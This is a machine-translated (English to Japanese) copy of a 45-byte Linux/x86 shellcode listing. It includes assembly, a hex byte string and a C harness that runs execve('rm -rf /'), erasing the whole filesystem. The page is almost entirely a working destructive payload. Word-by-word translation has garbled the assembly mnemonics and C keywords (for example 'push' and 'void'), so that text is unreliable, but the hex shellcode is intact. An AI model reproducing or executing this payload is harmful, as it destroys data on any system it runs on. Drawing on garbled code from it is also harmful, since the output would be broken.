このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Linux/x86 - execve(\\\"rm -rf /\\\") - 45 bytes
/* By Kris Katterjohn 11/18/2006
 *
 * 45 byte shellcode to execve("rm -rf /") for Linux/x86
 *
 *
 *
 * section .text
 *
 *      全世界の _start
 *
 * _start:
 *
 * ; execve("/貯蔵所/rm", { "/貯蔵所/rm", "-r", "-f", "/", NULL }, NULL)
 *
 *      押し進める byte 11
 *      pop eax
 *      cdq
 *      押し進める edx
 *      押し進める byte 0x2f
 *      mov edi, esp
 *      押し進める edx
 *      押し進める word 0x662d
 *      mov esi, esp
 *      押し進める edx
 *      押し進める word 0x722d
 *      mov ecx, esp
 *      押し進める edx
 *      押し進める 0x6d722f2f
 *      押し進める 0x6e69622f
 *      mov ebx, esp
 *      押し進める edx
 *      押し進める edi
 *      押し進める esi
 *      押し進める ecx
 *      押し進める ebx
 *      mov ecx, esp
 *      int 0x80
 */

main()
{
       char shellcode[] =
               "\x6a\x0b\x58\x99\x52\x6a\x2f\x89\xe7\x52\x66\x68\x2d\x66\x89"
               "\xe6\x52\x66\x68\x2d\x72\x89\xe1\x52\x68\x2f\x2f\x72\x6d\x68"
               "\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x51\x53\x89\xe1\xcd\x80";

       (*(無効の (*)()) shellcode)();
}